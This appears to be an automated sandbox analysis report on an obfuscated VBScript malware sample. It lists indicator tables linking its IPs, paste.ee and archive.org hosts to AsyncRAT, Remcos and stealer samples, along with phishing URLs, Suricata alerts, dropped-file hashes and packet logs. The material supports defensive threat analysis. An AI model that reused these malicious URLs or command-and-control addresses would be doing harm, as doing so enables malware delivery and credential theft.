148.113.165.11	INV04105025.vbs	Get hash	malicious	Unknown	Browse	148.113.165.11/document
207.241.227.240	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	asegurar.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	dcsegura.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	188.114.97.3
	asegura.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	RFQ-5120240930 VENETA PESCA SRL.vbs	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	188.114.96.3
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	188.114.97.3
ia600100.us.archive.org	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	162.159.140.237
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.184.196
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.96.3
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.159.140.237
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	172.66.0.235
	http://lamourskinclinic.com.au	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://unpaidrefund.top/view/mygov	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	payment copy.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	DHL Shipping documents 0020398484995500.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://docs.google.com/presentation/d/e/2PACX-1vRuKBrQqA6BNfxZo0BAmhaaVHWHS5xGpGnvHJ3KKWtc6LdsEuOoWSlBNaOKZjp5GXLjhWJKRMb-grou/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.21.46.216
INTERNET-ARCHIVEUS	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.22759.7388.rtf	Get hash	malicious	Remcos	Browse	207.241.227.96
	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	207.241.235.61
GOOGLE-PRIVATE-CLOUDUS	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	148.113.165.11
	https://bit.ly/4eqfXtg	Get hash	malicious	Unknown	Browse	67.199.248.11
	http://mutaksmklogns.godaddysites.com/	Get hash	malicious	Unknown	Browse	67.199.248.11
	https://solanadefimainnet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	148.113.153.93
	http://www.card.xn--6qq986b3xl/higgs-domino/	Get hash	malicious	Unknown	Browse	67.199.248.10
	https://smallpdf.com/sign-pdf/document#data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2VzaWduLnNtYWxscGRmLXN0YWdpbmcuY29tIiwic3ViIjoiNjE3MmQyMzMtODcyNy00M2NhLWI1NjQtYjgwZDUyZjYxYmVjIiwiYXVkIjpbImVzaWduIl0sImV4cCI6MTcyODYzODEyMCwibmJmIjoxNzI3NDI4NTIwLCJpYXQiOjE3Mjc0Mjg1MjAsImp0aSI6IjYxNzJkMjMzLTg3MjctNDNjYS1iNTY0LWI4MGQ1MmY2MWJlYyIsInBheWxvYWQiOnsiZW52ZWxvcGVfaWQiOiI2ZWRlMzFjZS00Mzc2LTQwYzItYjJjNy1jMDc2Y2M3MjY4NjIiLCJzaWduX3JlcXVlc3RfaWQiOiI2MTcyZDIzMy04NzI3LTQzY2EtYjU2NC1iODBkNTJmNjFiZWMiLCJ0b2tlbl90eXBlIjoibm90aWZpY2F0aW9uIiwidXNlcl9lbWFpbCI6ImNoYW8ud3VAd3JpLm9yZyIsInVzZXJfZmlyc3RuYW1lIjoiY2hhby53dUB3cmkub3JnIiwidXNlcl9sYXN0bmFtZSI6ImNoYW8ud3VAd3JpLm9yZyJ9fQ.UX67GiHBKgjV8XyH-SFTt_KgB2I_q2j9cbGTSqbzRvY&eid=6ede31ce-4376-40c2-b2c7-c076cc726862&esrt=6172d233-8727-43ca-b564-b80d52f61bec	Get hash	malicious	Unknown	Browse	148.113.163.217
	http://matamesklinog.godaddysites.com/	Get hash	malicious	Unknown	Browse	67.199.248.11
	https://secure.rpcthai.com/	Get hash	malicious	Unknown	Browse	148.113.153.94
	https://onlyclips.site/?title=quinnfinite&ref=git	Get hash	malicious	Unknown	Browse	148.113.153.94
	https://t.co/yuxfZm8KPg?amp=1	Get hash	malicious	Unknown	Browse	67.199.248.11

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	WW8kzvnphl.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3 207.241.227.240
	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	188.114.97.3 207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	188.114.97.3 207.241.227.240
	2THp7fwNQD.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3 207.241.227.240
	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3 207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3 207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3 207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3 207.241.227.240
	file.exe	Get hash	malicious	Credential Flusher	Browse	188.114.97.3 207.241.227.240
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	188.114.97.3 207.241.227.240

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kKJT9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ADnLNkPlE99SNxAhUe/3
MD5:	C8F23FEC45BE26C5299CE5633F8EEF9F
SHA1:	9BFCB2448A76A332E5E980EE1996AB607B69DF45
SHA-256:	289057C92760A278DC369975FCC0281BB00169011E0A80FC83B7DC8B838A6E81
SHA-512:	C6D49CDFC1292F6E9AB18E9ECC576469269AAD4221482FB71637FD072827CB1F6C6F0974DB98D3D865945FEADA92C27A982AEC0B94B3B1050B0385927435148E
Malicious:	false
Reputation:	low
Preview:	p...... ........._y.z...(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul55bl/Z:NllU
MD5:	D3B86703AAED73DD3EC0A467E8E94A75
SHA1:	0F4F7B2D253B1E5317E0523C584323EFE648AFCC
SHA-256:	B3FA547E57A764C37C994F3A72929E499C8AAEDA177BDBACD9E7F3C8A34348E1
SHA-512:	D358B7BAFDC693B4B7BA03638A67A5D27F3C3C3C222DDC015A0BCA3383510AF3AAB54D088EC6BF995580C3EA3B68AC78A11AE4360486886BA4DAEB2C631FA941
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_anttd1xw.vy5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3v0lstm.sb5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pa5ysdpk.0oi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrchnfcv.p12.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.66868162716675
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	vr65co3Boo.vbs
File size:	112'106 bytes
MD5:	4b7be0dcd6bdb340088d2dd657442b0b
SHA1:	960cac0a7a81530161aee49444fbb380d0f89fb3
SHA256:	21d27f29540147603af9a74b194f553342254ee4daea07359e6bd1246442d4f8
SHA512:	9dac7a96cf8b5eb1b608313a6bdb7ea86c97bce03ddb916874879acf994567c6020ccc4333c681b80e04e601a9ca49a787636d237f974ec3c6a87f85e504d7f5
SSDEEP:	768:eRXrFjNlww2JSTnnLIJhG/Hqgt5pDt5j2GwgvxXy7yPcbE:GXJZ6STnLIJh8qgt5pz2GwgvxXy73Q
TLSH:	99B3014622EF5008F1F73F595ABA52784B77BD596979C25D148C6A0E0BF3E80C920BB3
File Content Preview:	......G.g.k.A.b.W.G.z.x.n.G.L.m.r.z.g.k.o.L.g.A.i.m.O.l.b.K.A.P.O.i.I.q.W.q.P.x.n.l.N.S.A.L.u.v.B.W.W.t.G.z.n.n.Z.Z.W.P.k.W.O.u.L.x.W.L.z.O.L. .=. .".s.h.i.L.i.L.W.K.G.W.z.L.U.m.k.t.u.f.l.h.b.A.f.t.t.a.a.U.K.P.k.v.L.o.Q.x.h.g.C.N.k.G.A.d.c.g.C.o.T.z.v.A.i

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T05:27:14.388216+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-02T05:27:14.544142+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	188.114.97.3	443	192.168.2.5	49705	TCP
2024-10-02T05:27:17.370909+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	148.113.165.11	3236	192.168.2.5	49706	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:27:10.270308971 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:10.270380974 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:10.270517111 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:10.281107903 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:10.281131029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.049505949 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.049719095 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.054091930 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.054115057 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.054411888 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.067369938 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.107413054 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.342832088 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.342854023 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.342875004 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.342948914 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.342983007 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.343038082 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.366472006 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.366487980 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.366581917 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.366600990 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.366648912 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.426644087 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.426666021 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.426850080 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.426892042 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.426975965 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.455954075 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.455970049 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.456361055 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.456384897 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.456458092 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.457942009 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.457957029 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.458030939 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.458039999 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.458081961 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.458936930 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.458951950 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.459012032 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.459021091 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.459064007 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.533921003 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.533937931 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.534231901 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.534250975 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.534302950 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.546822071 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.546843052 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.547024965 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.547036886 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.547183037 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.547916889 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.547930956 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.547985077 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.547992945 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.548043966 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.548979044 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.548993111 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.549068928 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.549077988 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.549125910 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.550025940 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.550039053 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.550107002 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.550115108 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.550164938 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.551045895 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.551059008 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.551125050 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.551134109 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.551177979 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.584923983 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.584945917 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.585196972 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.585228920 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.585278034 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.607672930 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.607692957 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.607846022 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.607881069 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.608012915 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.624893904 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.624911070 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.625155926 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.625181913 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.625226974 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.640491009 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.640508890 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.640708923 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.640727043 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.640862942 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.640903950 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.640918016 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641011953 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.641021967 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641063929 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.641248941 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641263008 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641305923 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.641314030 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641338110 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.641356945 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.641974926 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.641987085 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.642024994 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.642034054 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.642054081 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.642071962 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.645390987 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.645405054 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.645484924 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.645493984 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.645534992 CEST	49704	443	192.168.2.5	207.241.227.240
Oct 2, 2024 05:27:11.677207947 CEST	443	49704	207.241.227.240	192.168.2.5
Oct 2, 2024 05:27:11.677225113 CEST	443	49704	207.241.227.240	192.168.2.5
